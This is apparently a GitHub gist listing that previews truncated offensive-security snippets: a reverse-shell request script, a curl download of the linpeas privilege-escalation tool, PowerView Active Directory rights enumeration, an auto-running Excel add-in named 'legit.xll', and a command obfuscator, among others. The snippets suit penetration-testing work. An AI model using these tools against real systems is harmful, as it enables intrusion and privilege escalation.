This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "github.com/txthinking/socks5" | |
| ) | |
| // go get github.com/txthinking/socks5 | |
| // this can be used with https://github.com/FalconOps-Cybersecurity/udpz |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Doxyfile 1.9.1 | |
| # This file describes the settings to be used by the documentation system | |
| # doxygen (www.doxygen.org) for a project. | |
| # | |
| # All text after a double hash (##) is considered a comment and is placed in | |
| # front of the TAG it is preceding. | |
| # | |
| # All text after a single hash (#) is considered a comment and will be ignored. | |
| # The format is: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| URL="https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | |
| OUTPUTFILE="${1:-linpeas.sh}" | |
| curl -L -s "$URL" -o "$OUTPUTFILE" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # request a reverse shell from reverse-shell.sh | |
| # Usage: ./request_revshell.sh <IP> <PORT> <OUTFILE> | |
| # ʕ •ᴥ•ʔ | |
| IP=$1 | |
| PORT=$2 | |
| OUTFILE=$3 | |
| if [ -z $IP ] || [ -z $PORT ] || [ -z $OUTFILE ]; then | |
| echo "Usage: $0 <IP> <PORT> <OUTFILE>" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # REQUIRES POWERVIEW | |
| # get all computers in the domain | |
| $computers = Get-DomainComputer | |
| # get all users in the domain | |
| $users = Get-DomainUser | |
| # define the required access rights | |
| $accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl" # ... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <Windows.h> | |
| // compile with Visual Studio command prompt | |
| // cl.exe main.c /LD /o legit.xll (/o will be deprecated soon) | |
| // compile on linux | |
| // x86_64-w64-mingw32-gcc -fPIC -shared -o legit.xll main.c -luser32 | |
| // REPLACE #include <Windows.h> with #include <windows.h> | |
| __declspec(dllexport) void __cdecl xlAutoOpen(void); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| if [ "$#" -eq 0 ]; then | |
| echo "rm: missing operand" | |
| exit 1 | |
| fi | |
| # iterate over each argument | |
| for target in "$@"; do | |
| if [ -d "$target" ]; then |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| # Impacket - Collection of Python classes for working with network protocols. | |
| # | |
| # Copyright (C) 2023 Fortra. All rights reserved. | |
| # | |
| # This software is provided under a slightly modified version | |
| # of the Apache Software License. See the accompanying LICENSE file | |
| # for more information. | |
| # | |
| # Description: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import string | |
| import sys | |
| import random | |
| # Command you want to encode and run | |
| cmd = "SOME_COMMAND" | |
| obfuscatedVars = [] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!doctype html> | |
| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office"> | |
| <head> | |
| <title> | |
| </title> | |
| <!--[if !mso]><!-- --> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
| <!--<![endif]--> | |
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> |